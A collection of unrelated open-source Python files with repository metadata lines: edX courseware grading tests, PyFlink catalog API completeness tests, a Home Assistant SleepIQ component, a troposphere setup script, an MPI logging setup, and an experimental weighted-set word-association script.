self.check_grade_percent(1.0)
assert self.earned_hw_scores() == [1.0, 2.0, 2.0]
# Order matters
assert self.score_for_hw('homework3') == [1.0, 1.0]
@ddt.data(
*CourseMode.CREDIT_ELIGIBLE_MODES
)
def test_min_grade_credit_requirements_status(self, mode):
"""
Test for credit course. If user passes minimum grade requirement then
status will be updated as satisfied in requirement status table.
"""
self.basic_setup()
# Enroll student in credit eligible mode.
# Note that we can't call self.enroll here since that goes through
# the Django student views, and does not update enrollment if it already exists.
CourseEnrollment.enroll(self.student_user, self.course.id, mode)
# Enable the course for credit
CreditCourse.objects.create(course_key=self.course.id, enabled=True)
# Configure a credit provider for the course
CreditProvider.objects.create(
provider_id="ASU",
enable_integration=True,
provider_url="https://credit.example.com/request",
)
requirements = [{
"namespace": "grade",
"name": "grade",
"display_name": "Grade",
"criteria": {"min_grade": 0.52},
}]
# Add a single credit requirement (final grade)
set_credit_requirements(self.course.id, requirements)
# Credit requirement is not satisfied before passing grade
req_status = get_credit_requirement_status(self.course.id, self.student_user.username, 'grade', 'grade')
assert req_status[0]['status'] is None
self.submit_question_answer('p1', {'2_1': 'Correct'})
self.submit_question_answer('p2', {'2_1': 'Correct'})
# Credit requirement is now satisfied after passing grade
req_status = get_credit_requirement_status(self.course.id, self.student_user.username, 'grade', 'grade')
assert req_status[0]['status'] == 'satisfied'
class ProblemWithUploadedFilesTest(TestSubmittingProblems):
"""Tests of problems with uploaded files."""
# Tell Django to clean out all databases, not just default
databases = {alias for alias in connections} # lint-amnesty, pylint: disable=unnecessary-comprehension
def setUp(self):
super(ProblemWithUploadedFilesTest, self).setUp() # lint-amnesty, pylint: disable=super-with-arguments
self.section = self.add_graded_section_to_course('section')
def problem_setup(self, name, files):
"""
Create a CodeResponse problem with files to upload.
"""
xmldata = CodeResponseXMLFactory().build_xml(
allowed_files=files, required_files=files,
)
ItemFactory.create(
parent_location=self.section.location,
category='problem',
display_name=name,
data=xmldata
)
# re-fetch the course from the database so the object is up to date
self.refresh_course()
def test_three_files(self):
# Open the test files, and arrange to close them later.
filenames = "prog1.py prog2.py prog3.py"
fileobjs = [
open(os.path.join(settings.COMMON_TEST_DATA_ROOT, "capa", filename))
for filename in filenames.split()
]
for fileobj in fileobjs:
self.addCleanup(fileobj.close)
self.problem_setup("the_problem", filenames)
with patch('lms.djangoapps.courseware.module_render.XQUEUE_INTERFACE.session') as mock_session:
resp = self.submit_question_answer("the_problem", {'2_1': fileobjs})
assert resp.status_code == 200
json_resp = json.loads(resp.content.decode('utf-8'))
assert json_resp['success'] == 'incorrect'
# See how post got called.
name, args, kwargs = mock_session.mock_calls[0]
assert name == 'post'
assert len(args) == 1
assert args[0].endswith('/submit/')
six.assertCountEqual(self, list(kwargs.keys()), ["files", "data", "timeout"])
six.assertCountEqual(self, list(kwargs['files'].keys()), filenames.split())
class TestPythonGradedResponse(TestSubmittingProblems):
"""
Check that we can submit a schematic and custom response, and it answers properly.
"""
# Tell Django to clean out all databases, not just default
databases = {alias for alias in connections} # lint-amnesty, pylint: disable=unnecessary-comprehension
SCHEMATIC_SCRIPT = dedent("""
# for a schematic response, submission[i] is the json representation
# of the diagram and analysis results for the i-th schematic tag
def get_tran(json,signal):
for element in json:
if element[0] == 'transient':
return element[1].get(signal,[])
return []
def get_value(at,output):
for (t,v) in output:
if at == t: return v
return None
output = get_tran(submission[0],'Z')
okay = True
# output should be 1, 1, 1, 1, 1, 0, 0, 0
if get_value(0.0000004, output) < 2.7: okay = False;
if get_value(0.0000009, output) < 2.7: okay = False;
if get_value(0.0000014, output) < 2.7: okay = False;
if get_value(0.0000019, output) < 2.7: okay = False;
if get_value(0.0000024, output) < 2.7: okay = False;
if get_value(0.0000029, output) > 0.25: okay = False;
if get_value(0.0000034, output) > 0.25: okay = False;
if get_value(0.0000039, output) > 0.25: okay = False;
correct = ['correct' if okay else 'incorrect']""").strip()
SCHEMATIC_CORRECT = json.dumps(
[['transient', {'Z': [
[0.0000004, 2.8],
[0.0000009, 2.8],
[0.0000014, 2.8],
[0.0000019, 2.8],
[0.0000024, 2.8],
[0.0000029, 0.2],
[0.0000034, 0.2],
[0.0000039, 0.2]
]}]]
)
SCHEMATIC_INCORRECT = json.dumps(
[['transient', {'Z': [
[0.0000004, 2.8],
[0.0000009, 0.0], # wrong.
[0.0000014, 2.8],
[0.0000019, 2.8],
[0.0000024, 2.8],
[0.0000029, 0.2],
[0.0000034, 0.2],
[0.0000039, 0.2]
]}]]
)
CUSTOM_RESPONSE_SCRIPT = dedent("""
def test_csv(expect, ans):
# Take out all spaces in expected answer
expect = [i.strip(' ') for i in str(expect).split(',')]
# Take out all spaces in student solution
ans = [i.strip(' ') for i in str(ans).split(',')]
def strip_q(x):
# Strip quotes around strings if students have entered them
stripped_ans = []
for item in x:
if item[0] == "'" and item[-1]=="'":
item = item.strip("'")
elif item[0] == '"' and item[-1] == '"':
item = item.strip('"')
stripped_ans.append(item)
return stripped_ans
return strip_q(expect) == strip_q(ans)""").strip()
CUSTOM_RESPONSE_CORRECT = "0, 1, 2, 3, 4, 5, 'Outside of loop', 6"
CUSTOM_RESPONSE_INCORRECT = "Reading my code I see. I hope you like it :)"
COMPUTED_ANSWER_SCRIPT = dedent("""
if submission[0] == "a shout in the street":
correct = ['correct']
else:
correct = ['incorrect']""").strip()
COMPUTED_ANSWER_CORRECT = "a shout in the street"
COMPUTED_ANSWER_INCORRECT = "because we never let them in"
def setUp(self):
super(TestPythonGradedResponse, self).setUp() # lint-amnesty, pylint: disable=super-with-arguments
self.section = self.add_graded_section_to_course('section')
self.correct_responses = {}
self.incorrect_responses = {}
def schematic_setup(self, name):
"""
set up an example Circuit_Schematic_Builder problem
"""
script = self.SCHEMATIC_SCRIPT
xmldata = SchematicResponseXMLFactory().build_xml(answer=script)
ItemFactory.create(
parent_location=self.section.location,
category='problem',
boilerplate='circuitschematic.yaml',
display_name=name,
data=xmldata
)
# define the correct and incorrect responses to this problem
self.correct_responses[name] = self.SCHEMATIC_CORRECT
self.incorrect_responses[name] = self.SCHEMATIC_INCORRECT
# re-fetch the course from the database so the object is up to date
self.refresh_course()
def custom_response_setup(self, name):
"""
set up an example custom response problem using a check function
"""
test_csv = self.CUSTOM_RESPONSE_SCRIPT
expect = self.CUSTOM_RESPONSE_CORRECT
cfn_problem_xml = CustomResponseXMLFactory().build_xml(script=test_csv, cfn='test_csv', expect=expect)
ItemFactory.create(
parent_location=self.section.location,
category='problem',
boilerplate='customgrader.yaml',
data=cfn_problem_xml,
display_name=name
)
# define the correct and incorrect responses to this problem
self.correct_responses[name] = expect
self.incorrect_responses[name] = self.CUSTOM_RESPONSE_INCORRECT
# re-fetch the course from the database so the object is up to date
self.refresh_course()
def computed_answer_setup(self, name):
"""
set up an example problem using an answer script'''
"""
script = self.COMPUTED_ANSWER_SCRIPT
computed_xml = CustomResponseXMLFactory().build_xml(answer=script)
ItemFactory.create(
parent_location=self.section.location,
category='problem',
boilerplate='customgrader.yaml',
data=computed_xml,
display_name=name
)
# define the correct and incorrect responses to this problem
self.correct_responses[name] = self.COMPUTED_ANSWER_CORRECT
self.incorrect_responses[name] = self.COMPUTED_ANSWER_INCORRECT
# re-fetch the course from the database so the object is up to date
self.refresh_course()
def _check_correct(self, name):
"""
check that problem named "name" gets evaluated correctly correctly
"""
resp = self.submit_question_answer(name, {'2_1': self.correct_responses[name]})
respdata = json.loads(resp.content.decode('utf-8'))
assert respdata['success'] == 'correct'
def _check_incorrect(self, name):
"""
check that problem named "name" gets evaluated incorrectly correctly
"""
resp = self.submit_question_answer(name, {'2_1': self.incorrect_responses[name]})
respdata = json.loads(resp.content.decode('utf-8'))
assert respdata['success'] == 'incorrect'
def _check_ireset(self, name):
"""
Check that the problem can be reset
"""
# first, get the question wrong
resp = self.submit_question_answer(name, {'2_1': self.incorrect_responses[name]})
# reset the question
self.reset_question_answer(name)
# then get it right
resp = self.submit_question_answer(name, {'2_1': self.correct_responses[name]})
respdata = json.loads(resp.content.decode('utf-8'))
assert respdata['success'] == 'correct'
def test_schematic_correct(self):
name = "schematic_problem"
self.schematic_setup(name)
self._check_correct(name)
def test_schematic_incorrect(self):
name = "schematic_problem"
self.schematic_setup(name)
self._check_incorrect(name)
def test_schematic_reset(self):
name = "schematic_problem"
self.schematic_setup(name)
self._check_ireset(name)
def test_check_function_correct(self):
name = 'cfn_problem'
self.custom_response_setup(name)
self._check_correct(name)
def test_check_function_incorrect(self):
name = 'cfn_problem'
self.custom_response_setup(name)
self._check_incorrect(name)
def test_check_function_reset(self):
name = 'cfn_problem'
self.custom_response_setup(name)
self._check_ireset(name)
def test_computed_correct(self):
name = 'computed_answer'
self.computed_answer_setup(name)
self._check_correct(name)
def test_computed_incorrect(self):
name = 'computed_answer'
self.computed_answer_setup(name)
self._check_incorrect(name)
def test_computed_reset(self):
name = 'computed_answer'
self.computed_answer_setup(name)
self._check_ireset(name)
class TestConditionalContent(TestSubmittingProblems):
"""
Check that conditional content works correctly with grading.
"""
def setUp(self):
"""
Set up a simple course with a grading policy, a UserPartition, and 2 sections, both graded as "homework".
One section is pre-populated with a problem (with 2 inputs), visible to all students.
The second section is empty. Test cases should add conditional content to it.
"""
super(TestConditionalContent, self).setUp() # lint-amnesty, pylint: disable=super-with-arguments
self.user_partition_group_0 = 0
self.user_partition_group_1 = 1
self.partition = UserPartition(
0,
'first_partition',
'First Partition',
[
Group(self.user_partition_group_0, 'alpha'),
Group(self.user_partition_group_1, 'beta')
]
)
self.course = CourseFactory.create(
display_name=self.COURSE_NAME,
number=self.COURSE_SLUG,
user_partitions=[self.partition]
)
grading_policy = {
"GRADER": [{
"type": "Homework",
"min_count": 2,
"drop_count": 0,
"short_label": "HW",
"weight": 1.0
}]
}
self.add_grading_policy(grading_policy)
self.homework_all = self.add_graded_section_to_course('homework1')
self.p1_all_html_id = self.add_dropdown_to_section(self.homework_all.location, 'H1P1', 2).location.html_id()
self.homework_conditional = self.add_graded_section_to_course('homework2')
def split_setup(self, user_partition_group):
"""
Setup for tests using split_test module. Creates a split_test instance as a child of self.homework_conditional
with 2 verticals in it, and assigns self.student_user to the specified user_partition_group.
The verticals are returned.
"""
vertical_0_url = self.course.id.make_usage_key("vertical", "split_test_vertical_0")
vertical_1_url = self.course.id.make_usage_key("vertical", "split_test_vertical_1")
group_id_to_child = {}
for index, url in enumerate([vertical_0_url, vertical_1_url]):
group_id_to_child[str(index)] = url
split_test = ItemFactory.create(
parent_location=self.homework_conditional.location,
category="split_test",
display_name="Split test",
user_partition_id=0,
group_id_to_child=group_id_to_child,
)
vertical_0 = ItemFactory.create(
parent_location=split_test.location,
category="vertical",
display_name="Condition 0 vertical",
location=vertical_0_url,
)
vertical_1 = ItemFactory.create(
parent_location=split_test.location,
category="vertical",
display_name="Condition 1 vertical",
location=vertical_1_url,
)
# Now add the student to the specified group.
UserCourseTagFactory(
user=self.student_user,
course_id=self.course.id,
key='xblock.partition_service.partition_{0}'.format(self.partition.id),
value=str(user_partition_group)
)
return vertical_0, vertical_1
def split_different_problems_setup(self, user_partition_group):
"""
Setup for the case where the split test instance contains problems for each group
(so both groups do have graded content, though it is different).
Group 0 has 2 problems, worth 1 and 3 points respectively.
Group 1 has 1 problem, worth 1 point.
This method also assigns self.student_user to the specified user_partition_group and
then submits answers for the problems in section 1, which are visible to all students.
The submitted answers give the student 1 point out of a possible 2 points in the section.
"""
vertical_0, vertical_1 = self.split_setup(user_partition_group)
# Group 0 will have 2 problems in the section, worth a total of 4 points.
self.add_dropdown_to_section(vertical_0.location, 'H2P1_GROUP0', 1).location.html_id()
self.add_dropdown_to_section(vertical_0.location, 'H2P2_GROUP0', 3).location.html_id()
# Group 1 will have 1 problem in the section, worth a total of 1 point.
self.add_dropdown_to_section(vertical_1.location, 'H2P1_GROUP1', 1).location.html_id()
# Submit answers for problem in Section 1, which is visible to all students.
self.submit_question_answer('H1P1', {'2_1': 'Correct', '2_2': 'Incorrect'})
def test_split_different_problems_group_0(self):
"""
Tests that users who see different problems in a split_test module instance are graded correctly.
This is the test case for a user in user partition group 0.
"""
self.split_different_problems_setup(self.user_partition_group_0)
self.submit_question_answer('H2P1_GROUP0', {'2_1': 'Correct'})
self.submit_question_answer('H2P2_GROUP0', {'2_1': 'Correct', '2_2': 'Incorrect', '2_3': 'Correct'})
assert self.score_for_hw('homework1') == [1.0]
assert self.score_for_hw('homework2') == [1.0, 2.0]
assert self.earned_hw_scores() == [1.0, 3.0]
# Grade percent is .63. Here is the calculation:
# homework_1_score = 1.0 / 2
# homework_2_score = (1.0 + 2.0) / 4
# round((homework_1_score + homework_2_score) / 2) == .63
self.check_grade_percent(.63)
def test_split_different_problems_group_1(self):
"""
Tests that users who see different problems in a split_test module instance are graded correctly.
This is the test case for a user in user partition group 1.
"""
self.split_different_problems_setup(self.user_partition_group_1)
self.submit_question_answer('H2P1_GROUP1', {'2_1': 'Correct'})
assert self.score_for_hw('homework1') == [1.0]
assert self.score_for_hw('homework2') == [1.0]
assert self.earned_hw_scores() == [1.0, 1.0]
# Grade percent is .75. Here is the calculation:
# homework_1_score = 1.0 / 2
# homework_2_score = 1.0 / 1
# round((homework_1_score + homework_2_score) / 2) == .75
self.check_grade_percent(.75)
def split_one_group_no_problems_setup(self, user_partition_group):
"""
Setup for the case where the split test instance contains problems on for one group.
Group 0 has no problems.
Group 1 has 1 problem, worth 1 point.
This method also assigns self.student_user to the specified user_partition_group and
then submits answers for the problems in section 1, which are visible to all students.
The submitted answers give the student 2 points out of a possible 2 points in the section.
"""
[_, vertical_1] = self.split_setup(user_partition_group)
# Group 1 will have 1 problem in the section, worth a total of 1 point.
self.add_dropdown_to_section(vertical_1.location, 'H2P1_GROUP1', 1).location.html_id()
self.submit_question_answer('H1P1', {'2_1': 'Correct'})
def test_split_one_group_no_problems_group_0(self):
"""
Tests what happens when a given group has no problems in it (students receive 0 for that section).
"""
self.split_one_group_no_problems_setup(self.user_partition_group_0)
assert self.score_for_hw('homework1') == [1.0]
assert self.score_for_hw('homework2') == []
assert self.earned_hw_scores() == [1.0]
# Grade percent is .25. Here is the calculation:
# homework_1_score = 1.0 / 2
# homework_2_score = 0.0
# round((homework_1_score + homework_2_score) / 2) == .25
self.check_grade_percent(.25)
def test_split_one_group_no_problems_group_1(self):
"""
Verifies students in the group that DOES have a problem receive a score for their problem.
"""
self.split_one_group_no_problems_setup(self.user_partition_group_1)
self.submit_question_answer('H2P1_GROUP1', {'2_1': 'Correct'})
assert self.score_for_hw('homework1') == [1.0]
assert self.score_for_hw('homework2') == [1.0]
assert self.earned_hw_scores() == [1.0, 1.0]
# Grade percent is .75. Here is the calculation.
# homework_1_score = 1.0 / 2
# homework_2_score = 1.0 / 1
# round((homework_1_score + homework_2_score) / 2) == .75
self.check_grade_percent(.75)
| stvstnfrd/edx-platform | lms/djangoapps/courseware/tests/test_submitting_problems.py | Python | agpl-3.0 | 47,999 |
################################################################################
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
################################################################################
from pyflink.testing.test_case_utils import PythonAPICompletenessTestCase, PyFlinkTestCase
from pyflink.table.catalog import Catalog, CatalogDatabase, CatalogBaseTable, CatalogPartition, \
CatalogFunction, CatalogColumnStatistics, CatalogPartitionSpec, ObjectPath
class CatalogAPICompletenessTests(PythonAPICompletenessTestCase, PyFlinkTestCase):
"""
Tests whether the Python :class:`Catalog` is consistent with
Java `org.apache.flink.table.catalog.Catalog`.
"""
@classmethod
def python_class(cls):
return Catalog
@classmethod
def java_class(cls):
return "org.apache.flink.table.catalog.Catalog"
@classmethod
def excluded_methods(cls):
# open/close are not needed in Python API as they are used internally
return {
'open',
'close',
'getFactory',
'getTableFactory',
'getFunctionDefinitionFactory',
'listPartitionsByFilter',
'supportsManagedTable'}
class CatalogDatabaseAPICompletenessTests(PythonAPICompletenessTestCase, PyFlinkTestCase):
"""
Tests whether the Python :class:`CatalogDatabase` is consistent with
Java `org.apache.flink.table.catalog.CatalogDatabase`.
"""
@classmethod
def python_class(cls):
return CatalogDatabase
@classmethod
def java_class(cls):
return "org.apache.flink.table.catalog.CatalogDatabase"
class CatalogBaseTableAPICompletenessTests(PythonAPICompletenessTestCase, PyFlinkTestCase):
"""
Tests whether the Python :class:`CatalogBaseTable` is consistent with
Java `org.apache.flink.table.catalog.CatalogBaseTable`.
"""
@classmethod
def python_class(cls):
return CatalogBaseTable
@classmethod
def java_class(cls):
return "org.apache.flink.table.catalog.CatalogBaseTable"
@classmethod
def excluded_methods(cls):
return {'getUnresolvedSchema', 'getTableKind'}
class CatalogFunctionAPICompletenessTests(PythonAPICompletenessTestCase, PyFlinkTestCase):
"""
Tests whether the Python :class:`CatalogFunction` is consistent with
Java `org.apache.flink.table.catalog.CatalogFunction`.
"""
@classmethod
def python_class(cls):
return CatalogFunction
@classmethod
def java_class(cls):
return "org.apache.flink.table.catalog.CatalogFunction"
class CatalogPartitionAPICompletenessTests(PythonAPICompletenessTestCase, PyFlinkTestCase):
"""
Tests whether the Python :class:`CatalogPartition` is consistent with
Java `org.apache.flink.table.catalog.CatalogPartition`.
"""
@classmethod
def python_class(cls):
return CatalogPartition
@classmethod
def java_class(cls):
return "org.apache.flink.table.catalog.CatalogPartition"
class ObjectPathAPICompletenessTests(PythonAPICompletenessTestCase, PyFlinkTestCase):
"""
Tests whether the Python :class:`ObjectPath` is consistent with
Java `org.apache.flink.table.catalog.ObjectPath`.
"""
@classmethod
def python_class(cls):
return ObjectPath
@classmethod
def java_class(cls):
return "org.apache.flink.table.catalog.ObjectPath"
class CatalogPartitionSpecAPICompletenessTests(PythonAPICompletenessTestCase, PyFlinkTestCase):
"""
Tests whether the Python :class:`CatalogPartitionSpec` is consistent with
Java `org.apache.flink.table.catalog.CatalogPartitionSpec`.
"""
@classmethod
def python_class(cls):
return CatalogPartitionSpec
@classmethod
def java_class(cls):
return "org.apache.flink.table.catalog.CatalogPartitionSpec"
class CatalogColumnStatisticsAPICompletenessTests(PythonAPICompletenessTestCase, PyFlinkTestCase):
"""
Tests whether the Python :class:`CatalogColumnStatistics` is consistent with
Java `org.apache.flink.table.catalog.CatalogColumnStatistics`.
"""
@classmethod
def python_class(cls):
return CatalogColumnStatistics
@classmethod
def java_class(cls):
return "org.apache.flink.table.catalog.stats.CatalogColumnStatistics"
if __name__ == '__main__':
import unittest
try:
import xmlrunner
testRunner = xmlrunner.XMLTestRunner(output='target/test-reports')
except ImportError:
testRunner = None
unittest.main(testRunner=testRunner, verbosity=2)
| lincoln-lil/flink | flink-python/pyflink/table/tests/test_catalog_completeness.py | Python | apache-2.0 | 5,362 |
"""Support for SleepIQ from SleepNumber."""
import logging
from datetime import timedelta
from requests.exceptions import HTTPError
import voluptuous as vol
import homeassistant.helpers.config_validation as cv
from homeassistant.helpers import discovery
from homeassistant.helpers.entity import Entity
from homeassistant.const import CONF_USERNAME, CONF_PASSWORD
from homeassistant.util import Throttle
DOMAIN = 'sleepiq'
MIN_TIME_BETWEEN_UPDATES = timedelta(seconds=30)
IS_IN_BED = 'is_in_bed'
SLEEP_NUMBER = 'sleep_number'
SENSOR_TYPES = {
SLEEP_NUMBER: 'SleepNumber',
IS_IN_BED: 'Is In Bed',
}
LEFT = 'left'
RIGHT = 'right'
SIDES = [LEFT, RIGHT]
_LOGGER = logging.getLogger(__name__)
DATA = None
CONFIG_SCHEMA = vol.Schema({
vol.Required(DOMAIN): vol.Schema({
vol.Required(CONF_USERNAME): cv.string,
vol.Required(CONF_PASSWORD): cv.string,
}),
}, extra=vol.ALLOW_EXTRA)
def setup(hass, config):
"""Set up the SleepIQ component.
Will automatically load sensor components to support
devices discovered on the account.
"""
global DATA
from sleepyq import Sleepyq
username = config[DOMAIN][CONF_USERNAME]
password = config[DOMAIN][CONF_PASSWORD]
client = Sleepyq(username, password)
try:
DATA = SleepIQData(client)
DATA.update()
except HTTPError:
message = """
SleepIQ failed to login, double check your username and password"
"""
_LOGGER.error(message)
return False
discovery.load_platform(hass, 'sensor', DOMAIN, {}, config)
discovery.load_platform(hass, 'binary_sensor', DOMAIN, {}, config)
return True
class SleepIQData:
"""Get the latest data from SleepIQ."""
def __init__(self, client):
"""Initialize the data object."""
self._client = client
self.beds = {}
self.update()
@Throttle(MIN_TIME_BETWEEN_UPDATES)
def update(self):
"""Get the latest data from SleepIQ."""
self._client.login()
beds = self._client.beds_with_sleeper_status()
self.beds = {bed.bed_id: bed for bed in beds}
class SleepIQSensor(Entity):
"""Implementation of a SleepIQ sensor."""
def __init__(self, sleepiq_data, bed_id, side):
"""Initialize the sensor."""
self._bed_id = bed_id
self._side = side
self.sleepiq_data = sleepiq_data
self.side = None
self.bed = None
# added by subclass
self._name = None
self.type = None
@property
def name(self):
"""Return the name of the sensor."""
return 'SleepNumber {} {} {}'.format(
self.bed.name, self.side.sleeper.first_name, self._name)
def update(self):
"""Get the latest data from SleepIQ and updates the states."""
# Call the API for new sleepiq data. Each sensor will re-trigger this
# same exact call, but that's fine. We cache results for a short period
# of time to prevent hitting API limits.
self.sleepiq_data.update()
self.bed = self.sleepiq_data.beds[self._bed_id]
self.side = getattr(self.bed, self._side)
| jnewland/home-assistant | homeassistant/components/sleepiq/__init__.py | Python | apache-2.0 | 3,165 |
__author__ = 'RajaganeshVanarajan'
print("This is my first line of learning Python! Hello World!")
for i in range(1,100):
print(i)
else:
print(i)
while(i<100):
print(i)
i=i+1
| rajaganeshv/PythonPractice | MyFiles.py | Python | mit | 195 |
# -*- coding: utf-8 -*-
"""
Setup
-----
Install troposphere in the current python environment.
"""
# ----------------------------------------------------------------------------
# Imports
# ----------------------------------------------------------------------------
# ---- Future
from __future__ import print_function
from __future__ import with_statement
# ---- System
import os
from setuptools import setup
# ----------------------------------------------------------------------------
# Helper Functions
# ----------------------------------------------------------------------------
def file_contents(file_name):
"""Given a file name to a valid file returns the file object."""
curr_dir = os.path.abspath(os.path.dirname(__file__))
with open(os.path.join(curr_dir, file_name)) as the_file:
contents = the_file.read()
return contents
def get_version():
curr_dir = os.path.abspath(os.path.dirname(__file__))
with open(curr_dir + "/troposphere/__init__.py", "r") as init_version:
for line in init_version:
if "__version__" in line:
return str(line.split("=")[-1].strip(" ")[1:-2])
# ----------------------------------------------------------------------------
# Setup
# ----------------------------------------------------------------------------
setup(
name='troposphere',
version=get_version(),
description="AWS CloudFormation creation library",
long_description=file_contents("README.rst"),
long_description_content_type='text/x-rst',
author="Mark Peek",
author_email="[email protected]",
license="New BSD license",
url="https://github.com/cloudtools/troposphere",
classifiers=[
"Development Status :: 5 - Production/Stable",
"Intended Audience :: Developers",
"License :: OSI Approved :: BSD License",
"Operating System :: MacOS :: MacOS X",
"Operating System :: Microsoft :: Windows",
"Operating System :: POSIX :: BSD",
"Operating System :: POSIX :: Linux",
"Programming Language :: Python",
"Programming Language :: Python :: 3.8",
"Programming Language :: Python :: 3.7",
"Programming Language :: Python :: 3.6",
"Programming Language :: Python :: 3.5",
"Programming Language :: Python :: 2.7",
],
packages=[
'troposphere',
'troposphere.openstack',
'troposphere.helpers'
],
scripts=[
'scripts/cfn',
'scripts/cfn2py'
],
python_requires=">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*",
install_requires=file_contents("requirements.txt"),
test_suite="tests",
tests_require=["awacs>=0.8"],
extras_require={'policy': ['awacs>=0.8']},
use_2to3=True,
)
| ikben/troposphere | setup.py | Python | bsd-2-clause | 2,763 |
# ==================================================
# BEGIN - MPI settings
# ==================================================
import logging
from mpi4py import MPI
try:
# noinspection PyUnresolvedReferences
MPI_INITIALIZED
except NameError:
MPI_INITIALIZED = False
if not MPI_INITIALIZED:
MPI_COMM = MPI.COMM_WORLD
MPI_RANK = MPI_COMM.Get_rank()
# log to console
if MPI_COMM.size == 1:
logFormatter = logging.Formatter("%(asctime)s [%(levelname)s] %(message)s")
else:
logFormatter = logging.Formatter("%(asctime)s [%(levelname)s] [Process-" + str(MPI_RANK) + "] %(message)s")
rootLogger = logging.getLogger()
consoleHandler = logging.StreamHandler()
consoleHandler.setFormatter(logFormatter)
rootLogger.addHandler(consoleHandler)
rootLogger.setLevel(logging.DEBUG)
# ==================================================
# END - MPI settings
# ==================================================
| structrans/Canon | canon/mpi/init.py | Python | mit | 966 |
#!/usr/bin/python
# -*- coding: latin-1 -*-
'''
Experiments with weighted sets.
Somewhat like fuzzy sets in that items can have partial membership in a set.
e.g. for similarity measure and for context based on distance in time.
The general format for a set here is [[item, score],[item, score],...]
This is wrapped in a dictionary for each dimension (e.g. similarity),
where the format is {word:[[item, score],[item, score],...], ...},
allowing "query the dict for a weighted set of alternatives for items to associate with word"
@author: Oeyvind Brandtsegg
@contact: [email protected]
@license: GPL
'''
import random
import copy
import numpy
import math
import loadDbWeightedSet as l
def weightedSum(a_, weightA_, b_, weightB_):
'''
Add the score of items found in both sets,
use score as is for items found in only one of the sets.
'''
c = []
if len(a_) > len(b_):
a = copy.copy(a_)
weightA = weightA_
b = copy.copy(b_)
weightB = weightB_
else:
a = copy.copy(b_)
weightA = weightB_
b = copy.copy(a_)
weightB = weightA_
itemsA = [a[i][0] for i in range(len(a))]
itemsB = [b[i][0] for i in range(len(b))]
scoreA = normScale([a[i][1] for i in range(len(a))],weightA)
scoreB = normScale([b[i][1] for i in range(len(b))],weightB)
removeFromB = []
for i in range(len(itemsA)):
itemA = itemsA[i]
if itemA in itemsB:
j = itemsB.index(itemA)
c.append([itemsA[i], scoreB[j] + scoreA[i]]) # add scores and put item in c
removeFromB.append(j) # removing used elements...
else:
c.append([itemsA[i], scoreA[i]])
removeFromB.sort()
removeFromB.reverse()
for i in removeFromB:
b.remove(b[i])
if len(b) > 0:
c.append([b[i][0], b[i][1]*weightB])
return c
def defaultScale(x):
'''
For use in weightedMultiply.
For now, we use an empirical adjustment trying to achive values in a range that could be produced by a*b
and also stay within approximately the same average range as random*random*0.5
'''
#return (math.sqrt(x*0.1)+math.pow(x*0.5, 2))*0.5
return x*0.25
def weightedMultiply(a_, weightA_, b_, weightB_):
'''
Multiply the score of items found in both sets.
If an item is found only in one of the sets, we need to find a way to scale the value appropriately,
see defaultScale for more info
'''
c = []
if len(a_) > len(b_):
a = copy.copy(a_)
weightA = weightA_
b = copy.copy(b_)
weightB = weightB_
else:
a = copy.copy(b_)
weightA = weightB_
b = copy.copy(a_)
weightB = weightA_
itemsA = [a[i][0] for i in range(len(a))]
itemsB = [b[i][0] for i in range(len(b))]
scoreA = normScale([a[i][1] for i in range(len(a))],weightA)
scoreB = normScale([b[i][1] for i in range(len(b))],weightB)
removeFromB = []
for i in range(len(itemsA)):
itemA = itemsA[i]
if itemA in itemsB:
j = itemsB.index(itemA)
c.append([itemsA[i], scoreB[j] * scoreA[i]]) # multiply scores and put item in c
removeFromB.append(j) # removing used elements...
else:
c.append([itemsA[i], defaultScale(scoreA[i])])
removeFromB.sort()
removeFromB.reverse()
for i in removeFromB:
b.remove(b[i])
if len(b) > 0:
c.append([b[i][0], defaultScale(b[i][1]*weightB)])
return c
def normalize(a):
return a
if a != []:
highest = float(max(a))
if highest != 0:
for i in range(len(a)):
a[i] /= highest
return a
def normScale(a, scale):
a = normalize(a)
a = list(numpy.array(a)*scale)
return a
def select(items, method):
words = [items[i][0] for i in range(len(items))]
scores = [items[i][1] for i in range(len(items))]
if method == 'highest':
return words[scores.index(max(scores))]
elif method == 'lowest':
return words[scores.index(min(scores))]
else:
random.choice(words)
def generate(predicate, method):
# get the lists we need
neighbors = l.neighbors[predicate]
wordsInSentence = l.wordsInSentence[predicate]
similarWords = l.similarWords[predicate]
neighborsWeight = 0.000000000000000111022
wordsInSentenceWeight = 0#1#1.0
similarWordsWeight = 1#0.000000000000001
#print 'lengths', len(neighbors), len(wordsInSentence), len(similarWords)
if method == 'multiply':
# multiply (soft intersection)
temp = weightedMultiply(neighbors, neighborsWeight, wordsInSentence, wordsInSentenceWeight)
#print 'templength', len(temp)
temp = weightedMultiply(temp, 1.0, similarWords, similarWordsWeight)
#print 'templength', len(temp)
if method == 'add':
# add (union)
temp = weightedSum(neighbors, neighborsWeight, wordsInSentence, wordsInSentenceWeight)
#print 'templength', len(temp)
temp = weightedSum(temp, 1.0, similarWords, similarWordsWeight)
#print 'templength', len(temp)
# select the one with the highest score
nextWord = select(temp, 'highest')
return nextWord
def testSentence(method):
l.importFromFile('association_test_db_full.txt', 1)#minimal_db.txt')#roads_articulation_db.txt')#
predicate = random.choice(list(l.words))
print 'predicate', predicate
sentence = [predicate]
for i in range(12):
predicate = generate(predicate, method)
sentence.append(predicate)
print 'sentence', sentence
def testMerge():
a = [['world', 1.0],['you', 0.5], ['there', 0.3],['near', 0.5]] #near only exist in this set
b = [['world', 0.3],['you', 1.0], ['there', 0.2],['here', 0.8],['nowhere',0.1]] #here and nowhere only exist in this set
c = [['world', 1.0],['you', 0.5], ['were', 0.4]] #were only exist in this set, and here is not here
print '\n** sum **'
t = weightedSum(a,1,b,1)
t = weightedSum(c,1,t,1)
for item in t:
print item
print 'select:', select(t, 'highest')
print '\n** multiply **'
t = weightedMultiply(a,1,b,1)
t = weightedMultiply(c,1,t,1)
for item in t:
print item
print 'select:', select(t, 'highest')
## testing
if __name__ == '__main__':
testSentence('add')
#testMerge()
